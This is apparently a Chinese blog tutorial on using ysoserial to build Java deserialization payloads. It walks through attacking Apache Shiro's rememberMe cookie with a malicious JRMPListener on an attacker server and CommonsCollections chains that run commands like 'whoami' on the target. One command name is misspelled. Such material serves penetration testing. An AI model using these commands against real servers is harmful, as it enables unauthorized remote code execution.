Java反序列化工具ysoserial使用

2023-12-20 19:44

本文主要是介绍Java反序列化工具ysoserial使用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ysoserial是一款用于生成 利用不安全的Java对象反序列化 的有效负载的概念验证工具。

项目地址

https://github.com/frohoff/ysoserial

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务。

使用方式一

官方介绍中的基本用法:

java -jar ysoserial.jar [payload] '[command]'

这种是运行ysoserial中的主类函数:

#发起dnslog请求的payload
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn/
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn/ > /tmp/urldns.ser#连接1.1.1.1:19999JRMP服务的payload
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999"  > /tmp/jrmp.ser
使用方式二

最常见用法,即运行ysoserial中的exploit类,一般用于开启交互服务:

exploit类有哪些可以在ysoserial-all\ysoserial\exploit目录下看到

image-20231220152716095

#1099端口启动一个JRMP监听,等待连接 , 然后执行 cc1链 whoami
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'whoami'

这里再提一下,java命令的-cp参数和-classpath参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar参数则直接执行jar包里面META-INF\MANIFEST.MF文件中指定的Main-Class。

JRMP

JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。

在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信。JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范。

JRMP允许在不同的JVM之间进行对象的远程调用,使得分布式系统中的Java对象可以通过网络进行交互。通过JRMP,客户端可以调用远程服务器上的方法,就像调用本地对象的方法一样。JRMP负责处理网络通信、对象序列化和反序列化等细节,以实现透明的远程方法调用。

要使用JRMP进行远程方法调用,需要定义接口、实现远程对象、绑定远程对象到特定的端口,并在客户端和服务器端分别设置相应的配置。

方式一的实例

使用 ysoserial,生成一个 URLDNS 序列化 payload:

java -jar ysoserial.jar URLDNS http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net > /tmp/urldns.ser

img

用 shiro 编码脚本将序列化 payload 进行编码,得到 Cookie 字符串:

java -jar shiro-exp.jar encrypt /tmp/urldns.ser

img

再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,则目标会成功反序列化我们发送的 payload,Burp Collaborator client 将收到 dns 解析记录,说明目标网站存在 shiro 反序列化漏洞:

img

方式二的实例

攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:

java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):

java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 编码脚本对 JRMPClient payload 进行编码:

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。

这篇关于Java反序列化工具ysoserial使用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/517261

相关文章

Java反射实现多属性去重与分组功能

《Java反射实现多属性去重与分组功能》在Java开发中,​​List是一种非常常用的数据结构,通常我们会遇到这样的问题:如何处理​​List​​​中的相同字段?无论是去重还是分组,合理的操作可以提高... 目录一、开发环境与基础组件准备1.环境配置:2. 代码结构说明:二、基础反射工具:BeanUtils

使用Python实现base64字符串与图片互转的详细步骤

《使用Python实现base64字符串与图片互转的详细步骤》要将一个Base64编码的字符串转换为图片文件并保存下来,可以使用Python的base64模块来实现,这一过程包括解码Base64字符串... 目录1. 图片编码为 Base64 字符串2. Base64 字符串解码为图片文件3. 示例使用注意

使用Python实现获取屏幕像素颜色值

《使用Python实现获取屏幕像素颜色值》这篇文章主要为大家详细介绍了如何使用Python实现获取屏幕像素颜色值,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 一、一个小工具,按住F10键,颜色值会跟着显示。完整代码import tkinter as tkimport pyau

在Java中将XLS转换为XLSX的实现方案

《在Java中将XLS转换为XLSX的实现方案》在本文中,我们将探讨传统ExcelXLS格式与现代XLSX格式的结构差异,并为Java开发者提供转换方案,通过了解底层原理、性能优势及实用工具,您将掌握... 目录为什么升级XLS到XLSX值得投入?实际转换过程解析推荐技术方案对比Apache POI实现编程

Java调用C#动态库的三种方法详解

《Java调用C#动态库的三种方法详解》在这个多语言编程的时代,Java和C#就像两位才华横溢的舞者,各自在不同的舞台上展现着独特的魅力,然而,当它们携手合作时,又会碰撞出怎样绚丽的火花呢?今天,我们... 目录方法1:C++/CLI搭建桥梁——Java ↔ C# 的“翻译官”步骤1:创建C#类库(.NET

Linux使用scp进行远程目录文件复制的详细步骤和示例

《Linux使用scp进行远程目录文件复制的详细步骤和示例》在Linux系统中,scp(安全复制协议)是一个使用SSH(安全外壳协议)进行文件和目录安全传输的命令,它允许在远程主机之间复制文件和目录,... 目录1. 什么是scp?2. 语法3. 示例示例 1: 复制本地目录到远程主机示例 2: 复制远程主

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

Java Lambda表达式的使用详解

《JavaLambda表达式的使用详解》:本文主要介绍JavaLambda表达式的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、前言二、Lambda表达式概述1. 什么是Lambda表达式?三、Lambda表达式的语法规则1. 无参数的Lambda表

java中Optional的核心用法和最佳实践

《java中Optional的核心用法和最佳实践》Java8中Optional用于处理可能为null的值,减少空指针异常,:本文主要介绍java中Optional核心用法和最佳实践的相关资料,文中... 目录前言1. 创建 Optional 对象1.1 常规创建方式2. 访问 Optional 中的值2.1

Spring Boot 整合 Apache Flink 的详细过程

《SpringBoot整合ApacheFlink的详细过程》ApacheFlink是一个高性能的分布式流处理框架,而SpringBoot提供了快速构建企业级应用的能力,下面给大家介绍Spri... 目录Spring Boot 整合 Apache Flink 教程一、背景与目标二、环境准备三、创建项目 & 添